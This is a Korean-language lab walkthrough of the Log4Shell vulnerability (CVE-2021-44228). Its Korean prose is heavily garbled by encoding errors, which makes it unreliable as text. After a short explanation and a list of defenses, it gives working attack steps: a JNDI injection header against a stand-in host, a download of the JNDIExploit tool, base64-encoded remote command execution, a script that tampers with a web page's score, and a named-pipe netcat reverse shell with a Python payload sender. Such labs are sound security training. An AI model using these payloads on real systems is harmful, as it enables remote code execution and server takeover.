## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RA890927-LOG4SHELL-CVE-2021-44228-DEMO
# CVE-2021โ44228 Demo
## 1\. CVE-2021โ44228 ์๊ฐ
2021๋
๋ง ์ฌ์ด๋ฒ ๋ณด์ ์
๊ณ์์ ๊ฐ์ฅ ํฐ ๋ด์ค๋ Log4j์ ์ทจ์ฝ์ ์ด์์ต๋๋ค. CVE-2021-44228๋ก ๋ฒํธ๊ฐ ๋ถ์ฌ๋์์ผ๋ฉฐ **Log4Shell** ์ด๋ผ๊ณ ๋ ๋ถ๋ฆฝ๋๋ค. CVSS ์ทจ์ฝ์ ํ๊ฐ ์์คํ
์์ ๊ฐ์ฅ **์ฌ๊ฐํ ๋ฑ๊ธ์ธ 10์ ** ์ ๋ฐ์์ผ๋ฉฐ, ์ต๊ทผ Heartbleed์ ShellShock์ ์ด์ด ๊ฐ์ฅ ์ค๋ํ ์ทจ์ฝ์ ์ผ๋ก ๊ฐ์ฃผ๋ฉ๋๋ค. ์ด๋ค ์ด๋ค์ ์ด๋ฅผ 'ํตํญํ๊ธ ์ทจ์ฝ์ '์ด๋ผ๊ณ ๋ฌ์ฌํ ์ ๋๋ก ๊ทธ ์ํฅ์ด ๋งค์ฐ ๊น์ต๋๋ค. ์ด ๊ณผ์ ๋ CVE-2021-44228์ ๋ถ์ํ๊ณ lab ์ค์ต์ ํจ๊ป ์งํํฉ๋๋ค.
## 2\. Log4j ์๊ฐ
Logfile(๋ก๊ทธ ํ์ผ)์ ์คํ ์ค์ธ ์ด์ ์ฒด์ ๋ ์ํํธ์จ์ด์์ ๋ฐ์ํ๋ ์ด๋ฒคํธ๋ฅผ ๊ธฐ๋กํ๋ ํ์ผ์ด๊ฑฐ๋, ๋คํธ์ํฌ ์ฑํ
์ํํธ์จ์ด ์ฌ์ฉ์ ๊ฐ์ ์ ์ก๋ ๋ฉ์์ง๋ฅผ ๊ธฐ๋กํฉ๋๋ค. ๋ง์ ์ด์ ์ฒด์ , ์ํํธ์จ์ด ํ๋ ์์ํฌ ๋ฐ ํ๋ก๊ทธ๋จ์ด ๋ก๊ทธ ํ์ผ ์์คํ
์ ํฌํจํฉ๋๋ค. Java์๋ ๋งค์ฐ ์ ์ฉํ ๋ก๊ทธ ํจํค์ง์ธ Log4j๊ฐ ์์ต๋๋ค. ์ด ํจํค์ง๋ Apache Software Foundation์ ์ํ๋ฏ๋ก ์ ์ ๋ช
์นญ์ Apache Log4j์
๋๋ค.
Log4j๋ ๋งค์ฐ ์ ์ฉํ ๋๊ตฌ๋ก, Java ํ๋ก๊ทธ๋จ์์ ๋๋ฆฌ ์ฌ์ฉ๋ฉ๋๋ค. ๋ง์ ๊ฒฝ์ฐ ์ํํธ์จ์ด ์์ง๋์ด๋ ์คํ ์ค์ธ ํ๋ก๊ทธ๋จ์ ๋ฐ์ดํฐ๋ฅผ ๋ก๊ทธ ํ์ผ์ ๊ธฐ๋กํ๊ฑฐ๋ ๋ค๋ฅธ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๊ธฐ๋กํ์ฌ ๋์ค์ ์ฌ์ฉํด์ผ ํฉ๋๋ค. ์ด๊ฒ์ด Log4j์ ์ฉ๋์
๋๋ค. ์ด๋๊ฐ์์ ๋ฌธ์์ด(์: ๋ก๊ทธ์ธ ํ๋ฉด์ ์
๋ ฅ๋ ์ฌ์ฉ์ ID)์ ๋ฐ์์ ๋ค๋ฅธ ๊ณณ(์: ์ธ์ฆ ํ๋ก์ธ์ค์ ๋ฐ์ดํฐ ์
๋ ฅ ํ๋)์ ๋ฌธ์์ด์ ์๋๋ค. ๊ธฐ๋ณธ์ ์ธ ๋ณต์ฌ/๋ถ์ฌ๋ฃ๊ธฐ ์ธ์๋ Log4j๋ ๋ฌธ์์ด์ ๋ด์ฉ์ ํ์ธํ๊ณ ํด์ํ ์ ์์ต๋๋ค. ๊ทธ๋ฐ๋ฐ ํด์์ ์ํํ ์์
์
๋๋ค. ํ๋ก๊ทธ๋จ์ด ๋จผ์ ๋ฌธ์์ด์ ์ ๋ฆฌํ์ง ์์ผ๋ฉด ํด์ ์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๊ธฐ ์ฝ๊ธฐ ๋๋ฌธ์
๋๋ค. Log4j๋ ๋จผ์ ๋ฌธ์์ด์ ์ ๋ฆฌํ์ง ์๊ณ ํด์ํ๋ฏ๋ก ๊ณต๊ฒฉ์๊ฐ ์ธ์ ์
๊ณต๊ฒฉ(injection)์ ํ ๊ธฐํ๊ฐ ์๊น๋๋ค.
## 3 CVE-2021-44228
CVE-2021-44228์ ์ค์ํ ์ทจ์ฝ์ ์
๋๋ค. ์ธ์ฆ๋์ง ์์ ๊ณต๊ฒฉ์๊ฐ Java ์๋ฒ์์ RCE(Remote Code Execution, ์๊ฒฉ ์ฝ๋ ์คํ ๊ณต๊ฒฉ)๋ฅผ ์คํํ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค. ์ด ์ทจ์ฝ์ ์ log4j๊ฐ ๋ก๊ทธ ๋ฉ์์ง๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฐฉ์์์ ๋น๋กฏ๋ฉ๋๋ค. ๊ณต๊ฒฉ์๊ฐ ์กฐ์๋ ๋ฉ์์ง(์: ${jndi:ldap://rogueldapserver.com/a}์ ๊ฐ์ ๋ฌธ์์ด ํฌํจ)๋ฅผ ๋ณด๋ด๋ฉด ์ธ๋ถ ์ฝ๋ ํด๋์ค๋ ๋ฉ์์ง ์กฐํ(message lookup)๋ฅผ ๋ก๋ํ์ฌ ํด๋น ํ๋ก๊ทธ๋จ์ ์คํํ๊ฒ ๋์ด RCE๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค.

๋ค์์ RCE์ ๊ธฐ๋ณธ ํ๋ฆ์
๋๋ค.
1. ๊ณต๊ฒฉ์๊ฐ ์ธ์ ์
๊ณต๊ฒฉ์ด ํฌํจ๋ ์์ฒญ์ Vulnerable Server๋ก ๋ณด๋
๋๋ค. ์: http request ์ ์ก
root@kitploit:~
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
2. ์ ์ก๋ ๋ฌธ์์ด์ log4j๋ก ์ ๋ฌ๋์ด ๋ก๊น
๋ฉ๋๋ค. ๋์์ Log4j๋ ${jndi:ldap://evil.xo/x}๋ฅผ ์์ ํฉ๋๋ค.
3. Log4j๊ฐ ๋ฌธ์์ด์ ๋ด์ฉ์ ํ์ธํ๊ณ ํด์ํ ๋ค์, JNDI(Java Naming and Directory Interface)๊ฐ LDAP ์๋ฒ์ ์ง์ํฉ๋๋ค. LDNP๋ IP ํ๋กํ ์ฝ์ ํตํด ์ก์ธ์ค ์ ์ด๋ฅผ ์ ๊ณตํ๊ณ ๋ถ์ฐ ์ ๋ณด๋ฅผ ์ ์งํ๋ ๋๋ ํฐ๋ฆฌ ๋คํธ์ํฌ ํ๋กํ ์ฝ์
๋๋ค.
4. LDAP ์๋ฒ๋ ์
์ฑ ์๋ฒ๋ก, JNDI Query๋ฅผ ์์ ํ๋ฉด ์ฃผ์
๋ ๋ด์ฉ์ ํด์ํ๊ณ JNDI์ ํ์ํ ๋๋ ํฐ๋ฆฌ๋ฅผ ์๋ตํฉ๋๋ค. ์ฌ๊ธฐ์๋ ์
์ฑ Java ํด๋์ค๋ ๋ช
๋ น์ด๊ฐ ํฌํจ๋ฉ๋๋ค.
5. Vulnerable Server๋ JNDI๊ฐ ๋ฐ์ ์๋ต์ ์คํํ์ฌ ๊ณต๊ฒฉ์์ ์ธ์ ์
์ด ์ฑ๊ณตํฉ๋๋ค.
## Log4j ์ทจ์ฝ์ ๋ฐฉ์ด ๋ฐฉ๋ฒ
1. ์ต์ ๋ฒ์ ์ Log4j๋ฅผ ์ฌ์ฉํ์ฌ ํ๋ก๊ทธ๋จ ํจํค์ง๋ฅผ ์ฌ๊ตฌ์ถํฉ๋๋ค(ํ์ฌ ๋ฒ์ ์ 2.17.xx). ๋ํ Apache Foundation ์น์ฌ์ดํธ์์ ์ต์ ์์ ์ ๋ณด๋ฅผ ํ์ธํ์ธ์.
2. WAF(Web Application Firewall)๋ฅผ ๊ตฌ์ถํ์ฌ ์นจ์
๊ท์น์ ์ ์ํ๊ณ log4j ์
๋ ฅ ๋ฌธ์์ด์ ํํฐ๋งํฉ๋๋ค. ํ์ง๋ง ์ด๋ ๊ทผ๋ณธ์ ์ธ ํด๊ฒฐ์ฑ
์ด ์๋๋ฉฐ, ๊ณต๊ฒฉ์๋ base64 ์ธ์ฝ๋ฉ ๋ฑ์ผ๋ก ๋ฌธ์์ด์ ์จ๊ฒจ ํ
์คํธ ์ค์บ ํ์ง๋ฅผ ์ฐํํ ์ ์์ต๋๋ค.
3. ๋ก๊ทธ ๊ธฐ๋ฅ์ ์ผ์์ ์ผ๋ก ๋นํ์ฑํํ๊ฑฐ๋
4. ์ฝ๋๋ฅผ ์
๋ฐ์ดํธํ ๋๊น์ง ๋นํ์ฑํํฉ๋๋ค. Log4j๋ฅผ ํธ์ถํ๋ ๋ชจ๋ ๋ถ๋ถ์ ์ฃผ์ ์ฒ๋ฆฌํด์ผ ํ ์๋ ์์ผ๋ฉฐ, ์ด๋ก ์ธํด ์ ํ๋ฆฌ์ผ์ด์
์ ์ผ๋ถ ๊ธฐ๋ฅ์ด ์์ค๋ ์ ์์ต๋๋ค. ์: ๋ ์ด์ ํ ์ฌ์ฉ์์ ๋ฉ์์ง๋ฅผ ๋ค๋ฅธ ์ฌ์ฉ์์๊ฒ ์ ์กํ ์ ์์ต๋๋ค. ์ฐธ๊ณ ๋ก ์ด๊ฒ์ด ์ด ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋ ์ด์ ์
๋๋ค. Minecraft ํ๋ ์ด์ด๊ฐ ์ฑํ
์์์ Log4j ๋ช
๋ น์ ๋ถ์ฌ๋ฃ์ผ๋ฉด ํด๋น ๋ฉ์์ง๊ฐ ๋ฉ์์ง๋ก ์ ์ก๋์ง ์๊ณ ๋ช
๋ น์ผ๋ก ์ง์ ์คํ๋๋ค๋ ์ฌ์ค์ ๋ฐ๊ฒฌํ์ต๋๋ค.
# Lab ํ๊ฒฝ
## 1\. ํ๊ฒฝ ์ค์
SEED Ubuntu 20.04 VM์ ๋จผ์ ๋ค์ด๋ก๋ํ์ธ์. ์ด VM์ ์ค์น๋ Docker ํ๊ฒฝ์ ์ ๊ณตํฉ๋๋ค. **๋ค์ด๋ก๋**
### JNDIExploit ๋ค์ด๋ก๋
root@kitploit:~
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
### ์ปจํ
์ด๋ ์ค์
root@kitploit:~
$ docker-compose build # ์ปจํ
์ด๋ ์ด๋ฏธ์ง ๋น๋
$ docker-compose up # ์ปจํ
์ด๋ ์์
$ docker-compose down # ์ปจํ
์ด๋ ์ข
๋ฃ
# ์ Compose ๋ช
๋ น์ด์ ๋ณ์นญ
$ dcbuild # docker-compose build์ ๋ณ์นญ
$ dcup # docker-compose up์ ๋ณ์นญ
$ dcdown # docker-compose down์ ๋ณ์นญ
### ์ปจํ
์ด๋ ๋ช
๋ น์ด
root@kitploit:~
$ dockps # docker ps --format "{{.ID}} {{.Names}}"์ ๋ณ์นญ
$ docksh <id> # docker exec -it <id> /bin/bash์ ๋ณ์นญ
# ๋ค์ ์์ ๋ hostC ๋ด๋ถ์์ ์
ธ์ ์ป๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
๋จ๊ณ๋ฅผ ๊ฐ์ํํ๊ธฐ ์ํด ๋ชจ๋ ์๋ฒ๋ ๋์ผํ LAN์ ์์ต๋๋ค.

# Lab ๊ณผ์
## Task 1: Log4j ์ฌ์ฉํ๊ธฐ
์ด Task์์๋ ์ฌ์ฉ์๊ฐ `log4j`๊ฐ ์ด๋ป๊ฒ ์๋ํ๋์ง ์ตํ ์ ์์ต๋๋ค. ์ฌ์ฉ์๋ `X-Api-Version` ํค๋๋ฅผ ์ฌ์ฉํ์ฌ log4j๋ก ๋ก๊ทธ๋ฅผ ๊ธฐ๋กํ ์ ์์ต๋๋ค.
root@kitploit:~
# <>๋ ์ฌ์ฉ์๊ฐ ์์ ํด์ผ ํ ๋ด์ฉ์
๋๋ค
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
์๋ฒ๊ฐ ๋ณด๋ธ ์์ฒญ์ ์ฌ๋ฐ๋ฅด๊ฒ ํด์ํ๋ฉด `Hello World!`๋ฅผ ๋ฐํํฉ๋๋ค. ๋ณด๊ณ ์์ ์๋ฒ๊ฐ ๋ฐํํ ๊ฒฐ๊ณผ์ ์๋ฒ๊ฐ ์์ฒญ์ ์ฌ๋ฐ๋ฅด๊ฒ ํด์ํ๋์ง, ๋ก๊ทธ๋ฅผ ๊ธฐ๋กํ๋์ง ๊ธฐ๋กํ์ธ์.
## Task 2: Log4Shell ์คํ
2013๋
์ Log4j ํจํค์ง์ '**JNDILookup ํ๋ฌ๊ทธ์ธ** '์ด ์ถ๊ฐ๋์ด ๊ฐ๋ฐ์๊ฐ JNDI์ LDAP์ ๊ฒฐํฉํ์ฌ ์ธ๋ถ JNDITutorial์ Java ๋ฐ์ดํฐ ๊ฐ์ฒด๋ฅผ ๊ฐ์ ธ์ฌ ์ ์๊ฒ ๋์์ต๋๋ค.
์ด์ ๋ฐฉ๊ธ ์ฌ์ฉํ `log4j`์ JNDIExploit์ ๊ฒฐํฉํ์ฌ ์๋ฒ๊ฐ ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๋ช
๋ น์ ์คํํ๋๋ก ํด๋ณด๊ฒ ์ต๋๋ค.
root@kitploit:~
# <>๋ ์ฌ์ฉ์๊ฐ ์์ ํด์ผ ํ ๋ด์ฉ์
๋๋ค
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
`/tmp` ํด๋์ secret.txt ํ์ผ์ ๋ง๋ค๊ณ ์๋ฒ์ ์ ์ํ์ฌ ํ์ผ์ด ์ฑ๊ณต์ ์ผ๋ก ์์ฑ๋์๋์ง ํ์ธํ์ธ์.
> **์ฐธ๊ณ -1** : <content>์๋ ๋ช
๋ น์ด๋ฅผ ์ง์ ๋ฃ์ ์ ์์ผ๋ฉฐ ๋ณํ์ด ํ์ํฉ๋๋ค.
> **์ฐธ๊ณ -2** : `vulnerable-app`์ `/bin/bash` ์
ธ์ด ์๊ธฐ ๋๋ฌธ์ ํ์ผ์ ํ์ธํ๋ ค๋ฉด docker ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
>
root@kitploit:~
$ docker exec vulnerable-app ls /tmp
> **JNDIExploit ์ฌ์ฉ ์์ธ**
## Task 3: ์๋ฒ ํ์ผ ์์
์ด์ Task๋ฅผ ํตํด `vulnerable-app`์ด ๊ณต๊ฒฉ์์ `base64` ๋ช
๋ น์ด๋ฅผ ๋ชจ๋ ์คํํ๋ค๋ ๊ฒ์ ์๊ฒ ๋์์ต๋๋ค. ๊ณต๊ฒฉ์๊ฐ ๋ ๋ณต์กํ ์์
์ ์ํ๋ค๋ฉด `shell script` ๊ณต๊ฒฉ ์คํฌ๋ฆฝํธ๋ฅผ ๋ณด๋ด ์๋ฒ๊ฐ ์คํํ๋๋ก ํ ์ ์์ต๋๋ค.
root@kitploit:~
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
์๋ ์น์ฌ์ดํธ ์ ์๋ฅผ ์์ ํ๋ ์คํฌ๋ฆฝํธ๋ก, ์ ์๋ `index.html`์ ์ ์ฅ๋ฉ๋๋ค. ๋จผ์ ์ฑ๊ณต์ ์ผ๋ก ์คํํ๊ณ ์ฐจ์ด์ ์ ์ง์ ํ์ธ์. ๊ทธ๋ฐ ๋ค์ ์ด ์คํฌ๋ฆฝํธ๋ฅผ ์์ ํ์ฌ ์ ์ ํ์ผ์ ์ํ๋ ์ซ์๋ก ๋ณ๊ฒฝํ์ธ์.
> **์ฐธ๊ณ -1** : ํ์ผ์ ์ฝ๊ฒ ์์ ํ๋ ๋ฐฉ๋ฒ์ผ๋ก `sed`๋ ์์ต๋๋ค.
> **์ฐธ๊ณ -2** : `vulnerable-app`์ ์ฌ์ฉ์๊ฐ ๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด /var/www๋ฅผ ๋ณด๋ ๊ฒ์ ํ์ฉํ์ง ์์ผ๋ฏ๋ก, ํ์ผ์ ํ์ธํ๋ ค๋ฉด docker ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
root@kitploit:~
$ docker exec vulnerable-app cat /var/www/index.html
## Task 4: Log4Shell์ ์ฌ์ฉํ ๋ฆฌ๋ฒ์ค ์
ธ ์์ฑ
์ด์ Task๋ฅผ ํตํด ์ฐ๋ฆฌ๋ ์คํํ๋ ค๋ ๋ช
๋ น์ด๋ฅผ `base64`๋ก ๋ณํํ์ฌ ์๋ฒ๊ฐ ์คํํ๋๋ก ํ ์ ์์์ต๋๋ค. ์๋ฒ๋ฅผ ์์ ํ ์ ์ดํ๊ธฐ ์ํด ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ ๋ฆฌ๋ฒ์ค ์
ธ(reverse shell)์ ์์ฑํ ์ ์์ต๋๋ค.
root@kitploit:~
# <>๋ ์ฌ์ฉ์๊ฐ ์์ ํด์ผ ํ ๋ด์ฉ์
๋๋ค
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
ํธ์๋ฅผ ์ํด ๊ณต๊ฒฉ์ ์ํ Python ์คํฌ๋ฆฝํธ๋ฅผ ์ ๊ณตํฉ๋๋ค.
root@kitploit:~
import os
import sys
import base64
import requests
ldap = '###' # ์ฌ์ฉ์ ์์
server_ip = '###' # ์ฌ์ฉ์ ์์
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
root@kitploit:~
$ ./script '<command>'
> **์ฐธ๊ณ ** : `vulnerable-app`์๋ `/bin/bash`์ `/dev/tcp`๊ฐ ์์ผ๋ฏ๋ก ์ผ๋ฐ์ ์ธ ๋ฆฌ๋ฒ์ค ์
ธ ๋ฐฉ์์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ํ์ง๋ง ํ์ดํ ํ์ผ์ ์์ฑํ์ฌ ์ฝ๊ณ ์ธ ์ ์์ต๋๋ค.
root@kitploit:~
$ mkfifo <file-name>
## ์ฐธ๊ณ ์๋ฃ
https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo
https://github.com/Mr-xn/JNDIExploit-1
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641